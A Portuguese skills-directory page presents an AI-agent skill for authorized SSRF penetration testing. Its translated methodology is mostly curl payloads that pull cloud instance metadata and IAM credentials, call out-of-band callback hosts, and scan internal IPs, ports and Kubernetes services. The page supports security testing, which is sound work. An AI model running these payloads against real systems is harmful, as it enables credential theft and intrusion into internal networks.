exploiting-server-side-request-forgery
Ajuda seu agente a identificar e explorar vulnerabilidades de Server-Side Request Forgery (SSRF).
O que ela faz
Esta ferramenta ajuda a encontrar e explorar falhas de segurança em sistemas que recebem links da internet. Ela permite acessar informações internas e serviços restritos de forma autorizada.
Quando usar
- ✓Ao testar a segurança de um site que permite ao usuário inserir URLs.
- ✓Ao verificar se um aplicativo na nuvem pode acessar dados sensíveis.
- ✓Ao avaliar serviços que processam conteúdo de links externos.
Exemplo do que pedir para a IA
“Verifique se o site `exemplo.com` pode ser explorado para acessar informações internas usando um link fornecido.”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
A ferramenta tenta enviar links para o servidor, que por sua vez tenta acessá-los. Se o servidor puder acessar links que normalmente não deveria, como endereços internos ou de nuvem, uma falha é identificada.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-server-side-request-forgeryOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/exploiting-server-side-request-forgery/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
Explorando Server-Side Request Forgery (SSRF)
Quando Usar
- Durante testes de penetração autorizados quando a aplicação busca URLs fornecidas por usuários (webhooks, pré-visualizações de URL, importação de arquivos)
- Ao testar aplicações hospedadas na nuvem para acesso a serviços de metadados de instância
- Para avaliar geradores de PDF, serviços de captura de tela ou qualquer funcionalidade que renderize conteúdo externo
- Ao avaliar arquiteturas de microsserviços para acesso a serviços internos via SSRF
- Durante avaliações de segurança de APIs que aceitam parâmetros de URL para busca de dados
Pré-requisitos
- Autorização: Contrato de teste de penetração por escrito, incluindo o escopo de testes SSRF
- Burp Suite Professional: Com Collaborator para detecção out-of-band (OOB)
- interactsh: Servidor de interação OOB de código aberto (
go install github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest) - SSRFmap: Framework automatizado de exploração SSRF (
git clone https://github.com/swisskyrepo/SSRFmap.git) - curl: Para testes manuais de payloads SSRF
- Conhecimento da infraestrutura alvo: Provedor de nuvem (AWS, GCP, Azure), faixas de IP internas
Fluxo de Trabalho
Passo 1: Identificar Funcionalidades Suscetíveis a SSRF
Mapeie todas as funcionalidades da aplicação que realizam requisições HTTP do lado do servidor.
# Common SSRF-prone features:
# - URL preview/unfurling (Slack-like link previews)
# - Webhook configuration endpoints
# - File import from URL (import CSV from URL)
# - PDF/screenshot generation from URL
# - Image/avatar fetching from URL
# - RSS/feed aggregation
# - OAuth callback URLs
# - API proxy/gateway features
# Test a URL parameter with Burp Collaborator
# Replace URL values with Collaborator payload
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"url":"http://abc123.burpcollaborator.net/ssrf-test"}' \
"https://target.example.com/api/fetch-url"
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"webhook_url":"http://abc123.oast.fun/webhook"}' \
"https://target.example.com/api/webhooks"
# Test URL in various parameter names
for param in url uri link href src dest redirect callback webhook \
image_url avatar_url feed_url import_url proxy_url; do
echo "Testing param: $param"
curl -s -o /dev/null -w "%{http_code}" \
"https://target.example.com/api/fetch?${param}=http://abc123.oast.fun/${param}"
done
Passo 2: Acessar Metadados de Instância na Nuvem
Teste payloads SSRF direcionados a serviços de metadados do provedor de nuvem.
# AWS EC2 Metadata (IMDSv1)
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"http://169.254.169.254/latest/meta-data/"}' \
"https://target.example.com/api/fetch-url"
# AWS - Get IAM role credentials
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}' \
"https://target.example.com/api/fetch-url"
# GCP Metadata
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"http://metadata.google.internal/computeMetadata/v1/"}' \
"https://target.example.com/api/fetch-url"
# Azure Metadata
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"http://169.254.169.254/metadata/instance?api-version=2021-02-01"}' \
"https://target.example.com/api/fetch-url"
# DigitalOcean Metadata
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"http://169.254.169.254/metadata/v1/"}' \
"https://target.example.com/api/fetch-url"
Passo 3: Escanear Rede Interna via SSRF
Use a vulnerabilidade SSRF para descobrir serviços e portas internas.
# Escaneamento de rede interna - faixas privadas comuns
for ip in 127.0.0.1 10.0.0.1 172.16.0.1 192.168.1.1; do
for port in 22 80 443 3000 3306 5432 6379 8080 8443 9200 27017; do
echo -n "$ip:$port -> "
response=$(curl -s --max-time 3 -X POST \
-H "Content-Type: application/json" \
-d "{\"url\":\"http://$ip:$port/\"}" \
"https://target.example.com/api/fetch-url")
echo "$response" | head -c 100
echo
done
done
# Serviços internos do Kubernetes
for svc in kubernetes.default.svc \
kubernetes-dashboard.kubernetes-dashboard.svc \
kube-dns.kube-system.svc; do
curl -s --max-time 3 -X POST \
-H "Content-Type: application/json" \
-d "{\"url\":\"http://$svc/\"}" \
"https://target.example.com/api/fetch-url"
done
# Acessar painéis de administração internos
for path in /admin /console /actuator/env /server-status /_cat/indices; do
…
Perguntas frequentes
O que é uma falha SSRF?
SSRF (Server-Side Request Forgery) é uma falha de segurança onde um atacante pode fazer com que o servidor web faça requisições HTTP para um domínio de sua escolha, permitindo o acesso a recursos internos ou externos.
Preciso de permissão para usar esta ferramenta?
Sim, é crucial ter autorização explícita e por escrito antes de realizar qualquer teste de segurança em um sistema.
Quais ferramentas são necessárias?
Você precisará de ferramentas como Burp Suite Professional, interactsh, SSRFmap e curl, além de conhecimento sobre a infraestrutura do alvo.
Detalhes
Descrição original do autor
Identifying and exploiting SSRF vulnerabilities to access internal services, cloud metadata, and restricted network resources during authorized penetration tests.
Popularidade
- Estrelas no GitHub
- 35 mil
- Posição no ranking
- #5758
- Licença
- Apache-2.0
- Atualizada em
- 31/08/2026
Comentários
- …
Mais skills deste repositório
abusing-dpapi-for-credential-access
Dá ao seu agente de IA instruções prontas para uma tarefa específica, para ele fazer melhor e mais rápido.
mukul975/Anthropic-Cybersecurity-Skills
abusing-shadow-credentials-for-privesc
Ensina seu agente de IA a escrever textos claros e bem estruturados.
mukul975/Anthropic-Cybersecurity-Skills
achieving-cmmc-level-2-compliance
Ajuda seu agente a preparar um ambiente para conformidade com CMMC Nível 2. Ele implementa requisitos de segurança e gerencia a documentação necessária.
mukul975/Anthropic-Cybersecurity-Skills
acquiring-disk-image-with-dd-and-dcfldd
Ajuda seu agente a criar cópias exatas de discos rígidos. Isso é útil para garantir que nenhuma informação seja perdida ou alterada durante investigações.
mukul975/Anthropic-Cybersecurity-Skills
Skills parecidas
dashboard-builder
Ajuda seu agente a criar painéis de monitoramento úteis. Ele transforma dados em gráficos que respondem a perguntas importantes sobre o sistema.
affaan-m/ECC
dev-team
Simula uma equipe de desenvolvimento colaborativa, onde diferentes papéis respondem a um problema juntos. É útil para obter múltiplas perspectivas sem trocar de agente manualmente.
affaan-m/ECC
ecc-council
Faz seu agente reunir um conselho de quatro vozes para tomar decisões difíceis. É útil quando há várias opções boas e é preciso debater antes de escolher.
affaan-m/ECC